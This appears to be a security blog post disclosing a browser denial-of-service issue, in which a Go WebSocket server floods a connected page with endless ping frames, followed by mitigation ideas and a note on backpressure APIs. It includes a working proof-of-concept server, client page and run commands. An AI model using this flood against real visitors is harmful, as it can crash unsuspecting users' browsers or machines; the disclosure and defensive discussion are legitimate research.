Warning: The following action may cause a visitor’s browser or even their computer to crash. This information is provided for educational purposes only. Use it responsibly.
I do not encourage or condone the misuse of this knowledge, and I disclaim any responsibility for any damage, disruption, or unintended consequences resulting from its use. Proceed at your own risk.
One of the first things someone learns in martial arts is that when you hold someone, that someone holds you too. If, for example, that someone falls on purpose while you’re holding them tightly, chances are you might fall too.
Even though there isn’t a special name for this idea, it can be found in Aiki martial arts principle, where the main point is that the opponent’s energy becomes a tool in your hands if you redirect it wisely.
When you write a program that handles WebSocket connections, one of the main security concerns is preventing a client from flooding you with messages or pings with bad intentions.
But what if I told you that, on the other side, no browser checks if someone attacks with abnormal load of WebSockets messages or pings in bad faith—and just ends up crashing?
You can easily test this yourself:
- Bookmark this page first, so you can return after a crash.
- Write a Go program that opens a WebSocket connection and continuously sends pings in a highly repetitive loop:
main.go:
package main
import (
"log"
"time"
"github.com/gorilla/websocket"
)
func main() {
url := "ws://localhost:3001"
conn, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
log.Fatal("Error connecting to WebSocket:", err)
}
defer conn.Close()
for {
err := conn.WriteMessage(websocket.PingMessage, nil)
if err != nil {
log.Println("Error sending ping:", err)
return
}
}
}
- Write an HTML page that connects to this WebSocket connection:
index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebSocket Reversed Ping of Death</title>
</head>
<body>
<h1>WebSocket Reversed Ping of Death</h1>
<!-- - - -->
<script>
const socket = new WebSocket("ws://localhost:3001/ws");
/*** * * ***/
socket.onerror = (error) => {
console.error("WebSocket error:", error);
};
socket.onopen = () => {
console.log("WebSocket connected.");
};
socket.onclose = () => {
console.log("WebSocket closed.");
};
socket.onmessage = (event) => {
console.log("WebSocket received:", event.data);
};
</script>
</body>
</html>
- Run the Go program:
go mod init main
go mod tidy
go run main.go
- Start a simple HTTP server to serve index.html:
(If port 3002 is not available, pick another one, e.g. 3003…)
python3 -m http.server 3002
- Open the page in your browser. For example:
(If port 3002 was not available, use the other one that you picked)
http://localhost:3002
Of course, the reason I’m writing these lines is not to enable script kiddies to annoy others, but to highlight a problem and propose a solution. Just to clarify, I am publishing this article only after having contacted major browser developers and submitted bug reports to ensure better client-side security checks for everyone.
Until all browsers implement a check, you can take care of your self, by :
- If visiting a site crashed your computer, be aware that it’s possible and that it may be just this method above described used. Don’t panic and don’t believe everything.
- If you develop an application that is depended on a third-party WebSocket, then make sure that you really trust the provider of it.
It’s the browsers that need to protect you from such a problem since the WebSocket API of them (which is kind of the same to all of them) doesn’t expose you the pings. This means that even if you write code that may find abnormal load of messages, good, perfect, but… you will never be able to see an abnormal load of pings, as you don’t get them at all like they don’t exist.
Using a custom proxy made to bypass and check the connection could be a real solution, as a proxy being a whole program, freed from the limitations of browsers, could detect abnormal loads of everything, including pings and kill the connection if needed. I don’t provide the code to such a thing because this is simply opening other problems like what if someone abuses your proxy, so it’s a solution that needs to be implemented carefully and maybe customized.
Back to the browsers, it’s worth noting that there are actually 2 other ways to have a WebSocket connection that they claim that they try to solve such problems. Well, they don’t talk exactly about the problem above (specially with the ping case) but they talk about almost the same and they call it “backpressure“. From Mozilla Developer Network [1] :
# Backpressure
An important concept in streams is backpressure — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing. When a stream later in the chain is still busy and isn't yet ready to accept more chunks, it sends a signal backwards through the chain to tell earlier transform streams (or the original source) to slow down delivery so that you don't end up with a bottleneck anywhere.
Those 2 other ways are WebTransport API and Streams API. Both they are great but they are very fresh, in contrast to the WebSocket API which is around for more than a decade. They are so fresh, that the first is not supported by Safari and the second is not supported by Firefox. And even the browsers that support one or the other, they do only in very recent versions (and experimentally, I would guess).
[1] https://developer.mozilla.org/en-US/docs/Web/API/Streams_API/Concepts#backpressure